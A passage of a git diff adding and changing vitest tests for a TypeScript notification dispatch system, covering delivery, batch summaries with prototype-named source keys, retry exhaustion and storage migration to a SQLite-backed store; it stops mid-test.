batch naming an Object.prototype member', async () => { + // #given — a due summary batch whose sources collide with the prototype + const now = new Date('2026-07-20T12:00:00.000Z'); + const futureDelivery = new Date(now.getTime() + 60_000); + vi.useFakeTimers({ toFake: ['Date'] }); + vi.setSystemTime(now); + try { + const sqlite = openSqlite(); + const storage = new D1NotificationsStorage( + sqliteUnitDatabase(sqlite) as SignalDatabase, + ); + const { agent, sendSignal } = reserveAgent(); + const ids: string[] = []; + for (const source of ['constructor', '__proto__', 'crm']) { + const created = await storage.createNotification({ + id: `lost-summary-${source}`, + threadId: THREAD_ID, + resourceId: resourceIdFromKey('itest'), + agentId: agent.id, + source, + kind: 'changed', + summary: `${source} input`, + priority: 'low', + deliverAt: futureDelivery, + summaryAt: new Date(now.getTime() - 1), + payload: { version: 1 }, + }); + ids.push(created.id); + } + const durableReceipts: Array | null> = []; + const responseReceived = vi.fn(async (response: Response) => { + expect(response.status).toBe(200); + for (const id of ids) { + durableReceipts.push( + (await storage.getNotification({ + threadId: THREAD_ID, + id, + })) as unknown as Record | null, + ); + } + throw new Error('thread handler response lost'); + }); + const topology = createThreadTopology( + threadNamespace( + { agent, resolveNotificationsStorage: () => storage }, + responseReceived, + ), + ); + const context = createPrincipalActorContext({ + principal: trustAutomationPrincipal({ + kind: 'system', + id: 'notification-maintenance', + purpose: 'notification.dispatch', + }), + storeFactory: new InMemoryApprovalStoreFactory(), + buildService: () => { + throw new Error('approval service is not used in notification tests'); + }, + }); + const tick = createNotificationDispatchTick({ + storage, + topology, + resolveContext: () => context, + executionFence: 'none', + now: () => now, + }); + + // #when — the thread DO succeeds and its response is lost + expect(await tick()).toEqual({ due: 3, delivered: 0, failed: 3 }); + + // #then — the emitted summary counted each colliding source once + expect(sendSignal).toHaveBeenCalledOnce(); + const summary = sendSignal.mock.calls[0]?.[0] as unknown as { + tagName: string; + contents: string; + metadata: Record; + }; + expect(summary.tagName).toBe('notification-summary'); + expect(summary.contents).toBe('__proto__: 1, constructor: 1, crm: 1'); + expect(summary.metadata.notification).toMatchObject({ + signal: 'summary', + pending: 3, + groups: [ + { source: '__proto__', count: 1 }, + { source: 'constructor', count: 1 }, + { source: 'crm', count: 1 }, + ], + byPriority: { low: 3 }, + }); + + // The durable summary receipts survive the outer tick fallback. + for (const receipt of durableReceipts) { + expect(receipt).toMatchObject({ + status: 'pending', + summaryAt: undefined, + summarySignalId: expect.any(String), + deliverAt: futureDelivery, + deliveryAttempts: 0, + lastDeliveryError: undefined, + }); + } + for (const id of ids) { + expect( + await storage.getNotification({ threadId: THREAD_ID, id }), + ).toEqual(durableReceipts[ids.indexOf(id)]); + } + } finally { + vi.useRealTimers(); + } + }); +}); + +describe('notification dispatch — chronological due window', () => { + it.each([ + 'deliverAt', + 'summaryAt', + ] as const)('delivers a due sibling through the thread DO ahead of a future expanded-year %s', async (cursor) => { + const now = new Date('2026-07-20T12:00:00.000Z'); + const storage = new D1NotificationsStorage( + sqliteUnitDatabase(openSqlite()) as SignalDatabase, + ); + const { agent, sendSignal } = reserveAgent(); + const future = await storage.createNotification({ + id: 'future', + threadId: THREAD_ID, + resourceId: resourceIdFromKey('itest'), + agentId: agent.id, + source: 'provider', + kind: 'changed', + summary: 'future input', + priority: 'urgent', + [cursor]: new Date('+010000-01-01T00:00:00.000Z'), + }); + const due = await storage.createNotification({ + id: 'due', + threadId: THREAD_ID, + resourceId: resourceIdFromKey('itest'), + agentId: agent.id, + source: 'provider', + kind: 'changed', + summary: 'due input', + priority: 'urgent', + deliverAt: new Date(now.getTime() - 1), + }); + const topology = createThreadTopology( + threadNamespace({ + agent, + resolveNotificationsStorage: () => storage, + }), + ); + const context = createPrincipalActorContext({ + principal: trustAutomationPrincipal({ + kind: 'system', + id: 'notification-maintenance', + purpose: 'notification.dispatch', + }), + storeFactory: new InMemoryApprovalStoreFactory(), + buildService: () => { + throw new Error('approval service is not used in notification tests'); + }, + }); + const tick = createNotificationDispatchTick({ + storage, + topology, + resolveContext: () => context, + executionFence: 'none', + now: () => now, + limit: 1, + }); + + expect(await tick()).toEqual({ due: 1, delivered: 1, failed: 0 }); + expect(sendSignal).toHaveBeenCalledOnce(); + expect(sendSignal.mock.calls[0]?.[0]).toMatchObject({ + contents: 'due input', + metadata: { notification: { recordId: due.id } }, + }); + expect(await storage.getNotification(due)).toMatchObject({ + status: 'delivered', + deliveredSignalId: expect.any(String), + }); + expect(await storage.getNotification(future)).toEqual(future); + expect(await tick()).toEqual({ due: 0, delivered: 0, failed: 0 }); + expect(sendSignal).toHaveBeenCalledOnce(); + }); +}); diff --git a/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts b/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts index 0e4ab89e..03a27bca 100644 --- a/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts +++ b/packages/flowsafe/src/signals/thread-do-routes.real-agent.test.ts @@ -7,7 +7,7 @@ import type { MastraModelConfig } from '@mastra/core/llm'; import { Mastra } from '@mastra/core/mastra'; import { MockMemory } from '@mastra/core/memory'; import { RequestContext } from '@mastra/core/request-context'; -import { InMemoryStore } from '@mastra/core/storage'; +import { InMemoryStore, MastraCompositeStore } from '@mastra/core/storage'; import { ACTOR_CONTEXT_KEY, AuditLogger, @@ -20,7 +20,10 @@ import { createFlowsafeDurableAgent, type FlowsafeDurableAgent, } from '../agent-runner/index.js'; -import { humanPrincipal } from '../approval-api/index.js'; +import { + humanPrincipal, + trustAutomationPrincipal, +} from '../approval-api/index.js'; import type { ExecutionFenceDatabase } from '../do-runner/execution-fence.js'; import { createHostPubSub, @@ -29,6 +32,9 @@ import { type RunnerRuntime, type ThreadScope, } from '../do-runner/index.js'; +import type { SignalDatabase } from './d1-shared.js'; +import { DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS } from './notification-dispatch.js'; +import { D1NotificationsStorage } from './notifications-d1.js'; import { createThreadSignalRoutes } from './thread-do-routes.js'; const RESOURCE_ID = 'resource-real'; @@ -96,7 +102,15 @@ async function createHarness(options: { canPersist?: boolean } = {}) { const pubsub = createHostPubSub(); const memory = new MockMemory(); const { runtime, start } = fakeRuntime(pubsub); - const mastra = new Mastra({ storage: new InMemoryStore(), logger: false }); + const notifications = new D1NotificationsStorage( + sqliteUnitDatabase(openSqlite()) as SignalDatabase, + ); + const storage = new MastraCompositeStore({ + id: 'real-notification-test', + default: new InMemoryStore(), + domains: { notifications }, + }); + const mastra = new Mastra({ storage, logger: false }); const agent = createFlowsafeDurableAgent({ agent: guardedTestAgent(memory), runtime, @@ -118,7 +132,7 @@ async function createHarness(options: { canPersist?: boolean } = {}) { return storage; }, }); - return { agent, mastra, memory, pubsub, routes, start }; + return { agent, mastra, memory, notifications, pubsub, routes, start }; } function scope( @@ -203,6 +217,83 @@ afterEach(() => { }); describe('thread signal routes with a real durable agent', () => { + it.each([ + 'deliver', + 'exhausted', + ] as const)('dispatches through D1 notification storage with a real agent: %s', async (mode) => { + const harness = await createHarness(); + const threadId = crypto.randomUUID(); + await seedThread(harness.memory, threadId); + const now = new Date(); + const record = await harness.notifications.createNotification({ + threadId, + resourceId: RESOURCE_ID, + agentId: 'writer', + source: 'provider', + kind: 'changed', + summary: 'notification input', + deliverAt: now, + }); + if (mode === 'exhausted') { + await harness.notifications.updateNotification({ + threadId, + id: record.id, + deliveryAttempts: DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, + lastDeliveryError: 'target refused', + lastDeliveryAttemptAt: now, + }); + } + const send = vi.spyOn(harness.agent, 'sendSignal'); + const response = await harness.routes( + post('/signal/notifications/dispatch', { + notificationIds: [record.id], + resourceId: RESOURCE_ID, + agentId: 'writer', + now: now.toISOString(), + }), + { + ...scope(harness.pubsub, threadId), + principal: trustAutomationPrincipal({ + kind: 'system', + id: 'notification-dispatch', + purpose: 'notification.dispatch', + }), + }, + ); + expect(response?.status).toBe(200); + const persisted = await harness.notifications.getNotification({ + threadId, + id: record.id, + }); + if (mode === 'exhausted') { + expect(await response?.json()).toMatchObject({ + delivered: 0, + failed: 0, + discarded: 1, + }); + expect(send).not.toHaveBeenCalled(); + expect(persisted).toMatchObject({ + status: 'discarded', + deliveryAttempts: DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, + lastDeliveryError: 'target refused', + lastDeliveryAttemptAt: now, + deliveryReason: 'delivery-attempts-exhausted', + discardedAt: expect.any(Date), + }); + expect(persisted?.deliverAt).toBeUndefined(); + expect(persisted?.summaryAt).toBeUndefined(); + } else { + expect(await response?.json()).toMatchObject({ delivered: 1, failed: 0 }); + expect(send).toHaveBeenCalledOnce(); + expect(persisted).toMatchObject({ + status: 'delivered', + deliveredSignalId: expect.any(String), + }); + expect(await recalled(harness.memory, threadId)).toHaveLength(1); + } + expect(harness.start).not.toHaveBeenCalled(); + }); + it('persists an idle queue message without a run', async () => { const harness = await createHarness(); const threadId = crypto.randomUUID(); @@ -520,6 +611,89 @@ describe('thread signal routes with a real durable agent', () => { expect(unhandled).toEqual([]); }); + // A low-priority owner notification is deferred to the dispatcher, which is + // where the real durable agent and the real D1 store reach Core's summary + // helper over a batch. The source strings here name Object.prototype members. + it('summarizes prototype-colliding owner notifications through the dispatcher', async () => { + // #given — deferred owner notifications with colliding source names + const harness = await createHarness(); + const threadId = crypto.randomUUID(); + await seedThread(harness.memory, threadId); + const ids: string[] = []; + for (const source of ['constructor', '__proto__']) { + const response = await harness.routes( + post('/signal/notification', { + source, + kind: 'changed', + summary: `${source} input`, + priority: 'low', + }), + scope(harness.pubsub, threadId), + ); + expect(response?.status).toBe(200); + const body = (await response?.json()) as { + record: { record: { id: string; source: string }; decision: unknown }; + }; + expect(body.record.decision).toMatchObject({ action: 'summarize' }); + expect(body.record.record.source).toBe(source); + ids.push(body.record.record.id); + } + + // #when — the dispatcher summarizes the due batch + const send = vi.spyOn(harness.agent, 'sendSignal'); + const response = await harness.routes( + post('/signal/notifications/dispatch', { + notificationIds: ids, + resourceId: RESOURCE_ID, + agentId: 'writer', + now: new Date(Date.now() + 60_000).toISOString(), + }), + { + ...scope(harness.pubsub, threadId), + principal: trustAutomationPrincipal({ + kind: 'system', + id: 'notification-dispatch', + purpose: 'notification.dispatch', + }), + }, + ); + + // #then — each colliding source is counted once, as its own entry + expect(response?.status).toBe(200); + expect(await response?.json()).toMatchObject({ delivered: 2, failed: 0 }); + expect(send).toHaveBeenCalledOnce(); + const summary = send.mock.calls[0]?.[0] as unknown as { + tagName: string; + contents: string; + attributes: Record; + metadata: Record; + }; + expect(summary.tagName).toBe('notification-summary'); + expect(summary.contents).toBe('__proto__: 1, constructor: 1'); + expect(summary.attributes).toMatchObject({ pending: 2 }); + expect(summary.metadata.notification).toMatchObject({ + signal: 'summary', + pending: 2, + groups: [ + { source: '__proto__', count: 1 }, + { source: 'constructor', count: 1 }, + ], + byPriority: { low: 2 }, + priority: 'low', + }); + for (const id of ids) { + expect( + await harness.notifications.getNotification({ threadId, id }), + ).toMatchObject({ + status: 'pending', + summaryAt: undefined, + summarySignalId: expect.any(String), + }); + } + expect(harness.start).not.toHaveBeenCalled(); + expect(unhandled).toEqual([]); + }); + it('terminally closes direct calls and protects a registered host start', async () => { const harness = await createHarness(); const directThreadId = crypto.randomUUID(); diff --git a/packages/flowsafe/src/signals/thread-do-routes.test.ts b/packages/flowsafe/src/signals/thread-do-routes.test.ts index 12cc1668..d6a95792 100644 --- a/packages/flowsafe/src/signals/thread-do-routes.test.ts +++ b/packages/flowsafe/src/signals/thread-do-routes.test.ts @@ -28,6 +28,8 @@ import { RunStateUnreadableError, type ThreadScope, } from '../do-runner/index.js'; +import type { SignalDatabase } from './d1-shared.js'; +import { D1NotificationsStorage } from './notifications-d1.js'; import { createThreadSignalRoutes, type SignalContentPolicy, @@ -35,6 +37,12 @@ import { type SignalContentPolicyResult, } from './thread-do-routes.js'; +function notificationStore(): D1NotificationsStorage { + return new D1NotificationsStorage( + sqliteUnitDatabase(openSqlite()) as SignalDatabase, + ); +} + interface AgentCall { method: string; target: { @@ -1621,7 +1629,7 @@ describe('createThreadSignalRoutes', () => { it('dispatches a due notification through a server-minted idle wake and marks it delivered', async () => { const { agent } = mockAgent(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'due-idle', threadId: 'acme_t1', @@ -1681,7 +1689,7 @@ describe('createThreadSignalRoutes', () => { }); (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal = sendSignal; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'stale-delivery', threadId: 'acme_t1', @@ -1716,7 +1724,7 @@ describe('createThreadSignalRoutes', () => { it('deduplicates notification ids in first-seen order', async () => { const { agent } = mockAgent(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'duplicate', threadId: 'acme_t1', @@ -1780,7 +1788,7 @@ describe('createThreadSignalRoutes', () => { ( agent as unknown as { getActiveThreadRunId: () => string } ).getActiveThreadRunId = () => 'active'; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const summary = await storage.createNotification({ id: 'low-summary', threadId: 'acme_t1', @@ -1880,7 +1888,7 @@ describe('createThreadSignalRoutes', () => { ( agent as unknown as { getActiveThreadRunId: () => string } ).getActiveThreadRunId = () => 'active'; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const createdAt = new Date('2026-07-20T10:00:00.000Z'); const summary = await storage.createNotification({ id: 'tied-summary', @@ -1944,7 +1952,7 @@ describe('createThreadSignalRoutes', () => { ); (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal = sendSignal; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const bothDue = await storage.createNotification({ id: 'both-due', threadId: 'acme_t1', @@ -2000,7 +2008,7 @@ describe('createThreadSignalRoutes', () => { getActiveThreadRunId: () => string | undefined; } ).getActiveThreadRunId = () => activeRunId; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'summarized-high', threadId: 'acme_t1', @@ -2064,7 +2072,7 @@ describe('createThreadSignalRoutes', () => { ( agent as unknown as { getActiveThreadRunId: () => string } ).getActiveThreadRunId = () => 'active'; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'summarized-urgent', threadId: 'acme_t1', @@ -2114,7 +2122,7 @@ describe('createThreadSignalRoutes', () => { getActiveThreadRunId: () => string | undefined; } ).getActiveThreadRunId = () => activeRunId; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const createSummarizedHigh = async (id: string) => { const record = await storage.createNotification({ id, @@ -2211,7 +2219,7 @@ describe('createThreadSignalRoutes', () => { for (const testCase of cases) { const { agent, calls } = mockAgent(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: testCase.name, threadId: 'acme_t1', @@ -2259,7 +2267,7 @@ describe('createThreadSignalRoutes', () => { const routes = createThreadSignalRoutes({ resolveAgent: () => agent, resolveResourceId: () => 'acme_res', - resolveNotificationsStorage: () => new InMemoryNotificationsStorage(), + resolveNotificationsStorage: () => notificationStore(), }); const response = await routes( @@ -2280,7 +2288,7 @@ describe('createThreadSignalRoutes', () => { it('skips a future notification after re-fetching under the lane', async () => { const { agent, calls } = mockAgent(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'future', threadId: 'acme_t1', @@ -2325,7 +2333,7 @@ describe('createThreadSignalRoutes', () => { })); (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal = sendSignal; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'overlap', threadId: 'acme_t1', @@ -2377,7 +2385,7 @@ describe('createThreadSignalRoutes', () => { })); (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal = sendSignal; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'summary-overlap', threadId: 'acme_t1', @@ -2443,7 +2451,7 @@ describe('createThreadSignalRoutes', () => { sendNotificationSignal: typeof sendNotificationSignal; } ).sendNotificationSignal = sendNotificationSignal; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'lane-order', threadId: 'acme_t1', @@ -2490,7 +2498,7 @@ describe('createThreadSignalRoutes', () => { const routes = createThreadSignalRoutes({ resolveAgent: () => agent, resolveResourceId: () => 'acme_res', - resolveNotificationsStorage: () => new InMemoryNotificationsStorage(), + resolveNotificationsStorage: () => notificationStore(), }); const input = (count: number) => ({ notificationIds: Array.from( @@ -2525,7 +2533,7 @@ describe('createThreadSignalRoutes', () => { ( agent as unknown as { getActiveThreadRunId: () => string } ).getActiveThreadRunId = () => 'acme_active-run'; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'due-active', threadId: 'acme_t1', @@ -2572,7 +2580,7 @@ describe('createThreadSignalRoutes', () => { })); (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal = sendSignal; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'persist-wait', threadId: 'acme_t1', @@ -2635,7 +2643,7 @@ describe('createThreadSignalRoutes', () => { })); (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal = sendSignal; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'persist-reject', threadId: 'acme_t1', @@ -2703,7 +2711,7 @@ describe('createThreadSignalRoutes', () => { })); (agent as unknown as { sendSignal: typeof sendSignal }).sendSignal = sendSignal; - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'low-summary', threadId: 'acme_t1', @@ -2770,7 +2778,7 @@ describe('createThreadSignalRoutes', () => { it('fails an all-low summary when the agent has no memory', async () => { const { agent, calls } = mockAgent({ memory: undefined }); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'low-summary-no-memory', threadId: 'acme_t1', @@ -2815,7 +2823,7 @@ describe('createThreadSignalRoutes', () => { it('executes a low summary as automation when it may not persist into the owner thread', async () => { const { agent, calls } = mockAgent(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'low-system-summary', threadId: 'acme_t1', @@ -2871,7 +2879,7 @@ describe('createThreadSignalRoutes', () => { it('retains wake behavior for a high-priority summary', async () => { const { agent } = mockAgent(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'high-summary', threadId: 'acme_t1', @@ -2917,13 +2925,100 @@ describe('createThreadSignalRoutes', () => { }); }); + it('summarizes a due batch of prototype-colliding sources as own counts', async () => { + const { agent } = mockAgent(); + const storage = notificationStore(); + const summaryAt = new Date(0); + const records = []; + // Mixed priorities keep one summary group while taking the sending branch + // rather than the all-low persist-without-wake branch. + for (const [id, source, priority] of [ + ['due-proto', '__proto__', 'low'], + ['due-constructor', 'constructor', 'medium'], + ['due-crm', 'crm', 'low'], + ['due-crm-again', 'crm', 'medium'], + ] as const) { + records.push( + await storage.createNotification({ + id, + threadId: 'acme_t1', + resourceId: 'acme_res', + agentId: 'agent', + source, + kind: 'digest', + summary: 'digest', + priority, + summaryAt, + }), + ); + } + const startIdleRun = vi.fn(async ({ runId }) => ({ runId })); + const routes = createThreadSignalRoutes({ + resolveAgent: () => agent, + resolveResourceId: () => 'acme_res', + resolveNotificationsStorage: () => storage, + consultRunCap: () => true, + startIdleRun, + }); + + const response = await routes( + post('/signal/notifications/dispatch', { + notificationIds: records.map((record) => record.id), + resourceId: 'acme_res', + agentId: 'agent', + now: '2026-07-20T12:00:00.000Z', + }), + scopeWith(undefined), + ); + + expect(await response?.json()).toEqual({ delivered: 4, failed: 0 }); + expect(startIdleRun).toHaveBeenCalledTimes(1); + const signal = startIdleRun.mock.calls[0]?.[0]?.signal as unknown as { + contents: string; + attributes: Record; + metadata: Record; + }; + expect(signal.contents).toBe('__proto__: 1, constructor: 1, crm: 2'); + expect(signal.attributes).toMatchObject({ pending: 4 }); + expect(signal.metadata.notification).toEqual({ + signal: 'summary', + pending: 4, + groups: [ + { source: '__proto__', count: 1 }, + { source: 'constructor', count: 1 }, + { source: 'crm', count: 2 }, + ], + byPriority: { low: 2, medium: 2 }, + notificationIds: [ + 'due-proto', + 'due-constructor', + 'due-crm', + 'due-crm-again', + ], + priority: 'medium', + }); + + for (const record of records) { + expect( + await storage.getNotification({ + threadId: record.threadId, + id: record.id, + }), + ).toMatchObject({ + status: 'pending', + summaryAt: undefined, + summarySignalId: expect.any(String), + }); + } + }); + it('rejects notification dispatch when the requested agent is missing or resolves incorrectly', async () => { const { agent, calls } = mockAgent(); const resolveAgent = vi.fn(() => agent); const routes = createThreadSignalRoutes({ resolveAgent, resolveResourceId: () => 'acme_res', - resolveNotificationsStorage: () => new InMemoryNotificationsStorage(), + resolveNotificationsStorage: () => notificationStore(), }); const missing = await routes( @@ -2955,7 +3050,7 @@ describe('createThreadSignalRoutes', () => { it('rejects a pending row bound to a different agent before sending', async () => { const { agent, calls } = mockAgent(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'wrong-agent-row', threadId: 'acme_t1', @@ -3551,6 +3646,48 @@ describe('createThreadSignalRoutes — signal content policy', () => { expect(inputs[1]?.text).toContain('crm: 1'); }); + it.each([ + ['constructor', 'constructor: 1'], + ['__proto__', '__proto__: 1'], + ['toString', 'toString: 1'], + ['hasOwnProperty', 'hasOwnProperty: 1'], + ])('counts the prototype-colliding source %s once in the inspected summary', async (source, rendered) => { + // #given — the same gate, with a source string that names + // an Object.prototype member + const { agent, calls } = mockAgent(); + const inputs: SignalContentPolicyInput[] = []; + const routes = createThreadSignalRoutes({ + resolveAgent: () => agent, + resolveResourceId: () => 'acme_res', + contentPolicy: (input) => { + inputs.push(input); + return input.text.includes('notification-summary') + ? DENIED + : ({ allowed: true } as const); + }, + }); + + // #when + const response = await routes( + post('/signal/notification', { + source, + kind: 'lead', + summary: 'benign summary', + priority: 'medium', + }), + scopeWith(undefined), + ); + + // #then — one pending record renders one count, not an inherited member + expect(response?.status).toBe(422); + expect(calls).toHaveLength(0); + expect(inputs).toHaveLength(2); + expect(inputs[1]?.text).toContain(' { // #given — distinct active/idle attributes; only the idle branch denies const { agent, calls } = mockAgent(); @@ -3645,7 +3782,7 @@ describe('createThreadSignalRoutes — signal content policy', () => { it('discards a denied due notification instead of retrying it', async () => { // #given const { agent } = mockAgent(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'denied-one', threadId: 'acme_t1', @@ -3704,7 +3841,7 @@ describe('createThreadSignalRoutes — signal content policy', () => { it('retries a due notification with a sanitized error when the policy fails', async () => { // #given const { agent } = mockAgent(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ id: 'failed-one', threadId: 'acme_t1', @@ -3755,7 +3892,7 @@ describe('createThreadSignalRoutes — signal content policy', () => { it('discards every member of a denied summary', async () => { // #given — two low notifications that summarize rather than deliver const { agent } = mockAgent(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const records: NotificationRecord[] = []; for (const id of ['sum-a', 'sum-b']) { records.push( @@ -3947,7 +4084,7 @@ describe('createThreadSignalRoutes — signal content policy', () => { it('keeps a summary storage failure inside its own dispatch group', async () => { // #given — a denied summary whose terminal discard write fails const { agent } = mockAgent(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const records: NotificationRecord[] = []; for (const id of ['sum-a', 'sum-b']) { records.push( @@ -4009,7 +4146,7 @@ describe('createThreadSignalRoutes — signal content policy', () => { // #given — the FIRST member's terminal discard write lands and the second // throws, so the group's catch sweeps records that are already settled const { agent } = mockAgent(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const records: NotificationRecord[] = []; for (const id of ['sum-a', 'sum-b']) { records.push( @@ -4514,7 +4651,7 @@ describe('FS8 D3 proof activation signal boundaries', () => { it('refuses an active ID changed during the final proof read at notification persistence', async () => { const h = await modern(); const race = activeIdRace(h); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const create = vi.spyOn(storage, 'createNotification'); const update = vi.spyOn(storage, 'updateNotification'); const record = await storage.createNotification({ @@ -4781,7 +4918,7 @@ describe('FS8 D3 proof activation signal boundaries', () => { 'wake', ] as const)('does not mutate notification receipts after a %s proof refusal', async (boundary) => { const h = await modern(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ threadId: 'acme_t1', resourceId: 'acme_res', @@ -4824,6 +4961,60 @@ describe('FS8 D3 proof activation signal boundaries', () => { expect(h.calls).toEqual([]); expect(response?.status).toBe(503); }); + it('preserves an exhausted receipt when proof changes during notification selection', async () => { + const h = await modern(); + const storage = notificationStore(); + const record = await storage.createNotification({ + threadId: 'acme_t1', + resourceId: 'acme_res', + agentId: 'agent', + source: 'test', + kind: 'ready', + summary: 'ready', + deliverAt: new Date(0), + }); + await storage.updateNotification({ + threadId: 'acme_t1', + id: record.id, + deliveryAttempts: 10, + lastDeliveryError: 'prior refusal', + }); + const before = await storage.getNotification({ + threadId: 'acme_t1', + id: record.id, + }); + const get = storage.getNotification.bind(storage); + const conditional = vi.spyOn( + storage, + 'updateNotificationDeliveryIfUnchanged', + ); + storage.getNotification = async (lookup) => { + const current = await get(lookup); + h.replace(); + return current; + }; + const contentPolicy = vi.fn(async () => ({ allowed: true as const })); + const routes = createThreadSignalRoutes({ + resolveAgent: () => h.agent, + resolveResourceId: () => 'acme_res', + resolveNotificationsStorage: () => storage, + contentPolicy, + }); + const response = await routes( + post('/signal/notifications/dispatch', { + agentId: 'agent', + resourceId: 'acme_res', + notificationIds: [record.id], + }), + h.scope, + ); + expect(response?.status).toBe(503); + expect(conditional).not.toHaveBeenCalled(); + expect(contentPolicy).not.toHaveBeenCalled(); + expect(h.calls).toEqual([]); + expect(await get({ threadId: 'acme_t1', id: record.id })).toEqual(before); + }); + it('refuses a foreign initial proof generation before content-policy effects', async () => { const h = await modern(); h.replace(); @@ -4956,7 +5147,7 @@ describe('FS8 D3 proof activation signal boundaries', () => { 'summary', ] as const)('does not convert a final %s notification delivery receipt refusal into failure bookkeeping', async (mode) => { const h = await modern(); - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStore(); const record = await storage.createNotification({ threadId: 'acme_t1', resourceId: 'acme_res', @@ -5000,3 +5191,768 @@ describe('FS8 D3 proof activation signal boundaries', () => { expect(response?.status).toBe(503); }); }); + +describe('notification delivery failure receipts', () => { + const dispatchNow = '2026-07-20T12:00:00.000Z'; + const input = { + threadId: 'acme_t1', + resourceId: 'acme_res', + agentId: 'agent', + source: 'test', + kind: 'ready', + summary: 'ready', + priority: 'urgent' as const, + deliverAt: new Date(0), + }; + function fixture( + overrides: Partial[0]> = {}, + ) { + const storage = notificationStore(); + const { agent, calls } = mockAgent(); + const contentPolicy = vi.fn((_input: SignalContentPolicyInput) => ({ + allowed: false as const, + outcome: 'error' as const, + })); + const consultRunCap = vi.fn(async () => true); + const startIdleRun = vi.fn(async ({ runId }: { runId: string }) => ({ + runId, + })); + const routes = createThreadSignalRoutes({ + resolveAgent: () => agent, + resolveResourceId: () => 'acme_res', + resolveNotificationsStorage: () => storage, + contentPolicy, + consultRunCap, + startIdleRun, + ...overrides, + }); + const dispatch = (ids: string[], body: Record = {}) => + routes( + post('/signal/notifications/dispatch', { + notificationIds: ids, + agentId: 'agent', + resourceId: 'acme_res', + now: dispatchNow, + ...body, + }), + scopeWith(undefined), + ); + return { + storage, + agent, + calls, + contentPolicy, + consultRunCap, + startIdleRun, + dispatch, + }; + } + + it.each([ + 0, + -1, + 1.5, + NaN, + Infinity, + Number.MAX_SAFE_INTEGER + 1, + ])('rejects maximum attempts %s before resolving dependencies', (maxDeliveryAttempts) => { + const resolveAgent = vi.fn(); + const resolveNotificationsStorage = vi.fn(); + expect(() => + createThreadSignalRoutes({ + resolveAgent, + resolveNotificationsStorage, + maxDeliveryAttempts, + }), + ).toThrow(RangeError); + expect(resolveAgent).not.toHaveBeenCalled(); + expect(resolveNotificationsStorage).not.toHaveBeenCalled(); + }); + + it('rejects Core-only dispatch storage before notification reads or effects', async () => { + const storage = new InMemoryNotificationsStorage(); + const get = vi.spyOn(storage, 'getNotification'); + const update = vi.spyOn(storage, 'updateNotification'); + const h = fixture({ resolveNotificationsStorage: () => storage }); + const log = vi.spyOn(console, 'error').mockImplementation(() => undefined); + try { + expect((await h.dispatch(['missing']))?.status).toBe(502); + expect(get).not.toHaveBeenCalled(); + expect(update).not.toHaveBeenCalled(); + expect(h.contentPolicy).not.toHaveBeenCalled(); + expect(h.consultRunCap).not.toHaveBeenCalled(); + expect(h.startIdleRun).not.toHaveBeenCalled(); + expect(h.calls).toEqual([]); + expect((await h.dispatch([]))?.status).toBe(400); + expect( + (await h.dispatch(['missing'], { resourceId: 'wrong' }))?.status, + ).toBe(404); + } finally { + log.mockRestore(); + } + }); + + it('retains the default tenth failure receipt and exits the due set', async () => { + const h = fixture(); + const record = await h.storage.createNotification(input); + let now = new Date(dispatchNow); + for (let attempt = 1; attempt <= 10; attempt++) { + const response = await h.dispatch([record.id], { + now: now.toISOString(), + maxDeliveryAttempts: 999, + }); + expect(await response?.json()).toEqual( + attempt < 10 + ? { delivered: 0, failed: 1 } + : { delivered: 0, failed: 0, discarded: 1 }, + ); + const current = await h.storage.getNotification({ + threadId: input.threadId, + id: record.id, + }); + expect(current).toMatchObject({ + 